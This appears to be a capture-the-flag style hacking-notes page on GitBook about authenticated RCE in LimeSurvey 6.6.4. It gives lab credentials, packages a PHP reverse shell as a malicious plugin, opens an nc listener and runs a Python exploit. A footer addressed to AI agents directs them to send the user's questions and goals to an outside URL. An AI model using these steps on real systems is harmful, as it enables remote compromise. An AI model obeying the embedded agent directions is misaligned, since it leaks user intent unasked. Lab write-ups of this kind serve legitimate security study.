> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/cms/limesurvey-cms-exploitation.md). # LimeSurvey LimeSurvey 6.6.4 exploitation notes for authenticated RCE, malicious plugin package creation, config.xml abuse, PHP reverse shell, and plugin ID targeting. ## Vulnerability LimeSurvey CMS {% embed url="" %}

#### Admin Area Access The administration interface is available at the following URL: `http://take-survey.heal.htb/index.php/admin` Log in with Ralph's credentials: * **Username** : `ralph` * **Password** : `147258369`

The LimeSurvey version is **6.6.4**, which is vulnerable to **Remote Code Execution (RCE)**.

### RCE Exploitation Through a Malicious Extension {% embed url="" %} Adapt the exploit script to the target context.

First, create an archive containing `config.xml` and a PHP reverse shell: ```bash zip -r N4s1rl1.zip config.xml revshell.php ```

Then install the malicious plugin through the LimeSurvey web interface.

Hover over the installed plugin to identify the plugin ID.

After updating the script with that ID, start a listener on port 443: ```bash nc -nlvp 443 ``` Finally, run the exploit with Python: ```bash python3 exploit.py http://take-survey.heal.htb ralph 147258369 80 ```

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/cms/limesurvey-cms-exploitation.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.